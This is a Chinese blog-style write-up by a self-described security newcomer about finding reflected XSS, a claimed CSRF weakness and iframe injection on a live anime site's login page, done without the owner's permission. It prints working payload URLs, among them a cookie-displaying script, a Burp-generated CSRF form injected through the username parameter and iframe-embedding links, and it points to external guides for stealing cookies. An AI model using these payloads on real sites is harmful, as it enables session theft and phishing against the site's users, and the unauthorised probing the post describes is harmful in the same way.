原文链接:记录一次“梅花三弄”的渗透之旅
前言
这个网站的相关漏洞是上个月在看动漫时无意间发现的,当时仅仅发现了反射型的Xss漏洞,在后期再渗透过程中还发现了CSRF和Iframe的钓鱼框架漏洞,现在把挖洞的过程整理一下,写成文章投稿。作为一个网安新人,内容上有不妥的地方希望大佬们能够指出。写这篇文章不仅是为了锻炼自己的表达能力,同时还为了给那些挖到Xss漏洞的新人们一些启发,希望能够和大家一起互相学习,共同进步!
梅开一度
疫情期间在家闲着无聊,正好有几部漫画更新了,所以打算去某动漫网站看下最新章节。当我来到网站登陆界面的时候,脑袋里下意识想起了之前学的Xss漏洞反弹cookie的知识点。抱着测试的心态,首先用御剑做了个后台扫描,结果如下图:
于是乎,我拿出了祖传的Xss测试代码:
在用户框中输入上面的测试代码,密码框随便输入,测试下输入框内是否对左右<、script、单双引号以及大小写等过滤的情况,回显结果如下图:
查看源代码发现写入得代码有高亮,并且需要构造“>来完成闭合,于是重新构造了测试代码:
- "><script Script "'Asaika>
复制代码 二次测试结果如下图:
输入的测试代码再次高亮了,说明有戏,于是回到正常登陆界面,查看用户名框对应的标签是txt_name,最终构造了简单的Xss测试链接。
- http://www.xxxxxx.com/login/?txt_name=%22%3E%3Cscript%3Ealert(/Asaika/)%3C/script%3E
复制代码 成功回显弹窗,如图:
没想到就这么一发入魂了,这个网站在Xss上完全没有做任何防护,我又测试了一把弹cookie的代码
- http://www.xxxxx.com/login/?txt_name=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
复制代码
我用自己的账户测试,链接反弹的cookie和正常登陆下Burp Suite抓取的cookie是相同的,关于进一步构造php代码来读取ip和cookie并传给指定服务器来窃取用户cookie的方法,见参考链接。
梅开二度
在挖到这个站的当天晚上,我仔细看了Burp Suite抓的数据包,发现登陆界面并没有做Token验证,目测可能还存在CSRF漏洞,于是抱着试一试的心态,开启了“梅开二度”之旅。 基于前面在txt_name下挖掘的Xss的经验,依旧使用Burp Suite对其进行抓包。首先将浏览器中,该网站的cookie缓冲进行删除,然后抓包,如图:
利用Burp Suite的Engagement tools下的Generate CSRF PoC功能键生成一个测试的PoC代码,如图:
测试代码如下:
- <html>
- <!-- CSRF PoC - generated by Burp Suite Professional -->
- <body>
- <script>history.pushState('', '', '/')</script>
- <form action="http://www.xxxxx.com/login/">
- <input type="hidden" name="txt_name" value="" />
- <input type="submit" value="Submit request" />
- </form>
- </body>
- </html>
复制代码
接下来通过生成的PoC代码来构造测试链接,构造的测试链接如下:
- http://www.xxxxx.com/login/?txt_name=%22%3E%3CIMG+SRC%3D%22%3Chtml%3E%20%3C!--%20CSRF%20PoC%20-%20generated%20by%20Burp%20Suite%20Professional%20--%3E%20%3Cbody%3E%20%3Cscript%3Ehistory.pushState(%27%27,%20%27%27,%20%27/%27)%3C/script%3E%20%3Cform%20action=%22http://www.dm5.com/login/%22%3E%20%3Cinput%20type=%22submit%22%20value=%22Submit%20request%22%20/%3E%20%3C/form%3E%20%3C/body%3E%20%3C/html%3E%22%3E
复制代码在网站地址栏输入上面构造的PoC测试链接得到如下的测试界面,用户名框下面多了Submit request这个点击框,并且在源码中其被编译和高亮显示,如下图: 从PoC的检测可以看出,其存在CSRF漏洞,当然除了这种测试方法,还可以使用别的方法进行CSRF漏洞验证测试,详情见参考链接。 关于txt_name下,爆出Xss和CSRF两者结合的漏洞使用和测试,我在此处就不过多描述,想了解的可以见参考链接。 梅花三弄 本着测试的角度,第二天上午,开启了我的”梅花三弄“终极之旅。于是我写了一个简单的钓鱼框架测试链接,看其是否存在iframe内嵌框架钓鱼漏洞,请求的测试链接选择九零的官网地址: - http://www.xxxxx.com/login/?txt_name=%22%3E%3Ciframe+id%3D1770+src%3Dhttps://forum.90sec.com/%3E
复制代码
wtf?,拒绝连接请求?我就是单单想测试一下而已……看来只能请求连接我自己的网站了,测试页面回显如图所示:
- http://www.xxxxx.com/login/?txt_name=%22%3E%3Ciframe+id%3D1770+src%3Dhttps://www.asaika.com/%3E
复制代码
很明显,构建的钓鱼框架测试成功,的确存在iframe嵌入框架钓鱼漏洞。
总结
在挖洞的过程中,我们基本遇见最多的就是Xss漏洞,首先因为其测试的PoC的确比较容易构造,加上其在web开发时难以避免的原因,于是乎在自动化软件的扫描下,一般的新手也能从中体会到挖洞的乐趣。而真正的网安之路并非如此容易,就拿这次挖洞之旅而言,一般在我们挖到Xss后,大部分的人在这个标签的测试基本就结束了,其实如果简单的抓个包,好好看下Request头部请求,说不定还会有新的收获,或者用一下其他的漏洞PoC代码测试下,更有可能达到到”梅花三弄“,或者挖到更多漏洞的效果。挖洞只有在不断地尝试后,才会有意想不到的进步。 由于此次挖洞仅限于测试,进一步的利用和提权也没拿到别人的测试权限,我只是用PoC做了相关漏洞存在的测试。只要一些漏洞存在,查找并运用相关的方法,基本都能够比较完美地复现。网上关于此类技术文章可谓看得眼花缭乱,我就不在此班门弄斧了,各位大佬们海涵!!!
参考链接
- 1:XSS获取Cookie过程简单演示:https://blog.csdn.net/qq_36609913/article/details/79066320
- 2:burpsuite之CSRF测试:https://blog.csdn.net/andyfeng088/article/details/80195105
- 3:鸡肋CSRF和Self-XSS组合的变废为宝:https://www.freebuf.com/articles/web/164069.html
复制代码
|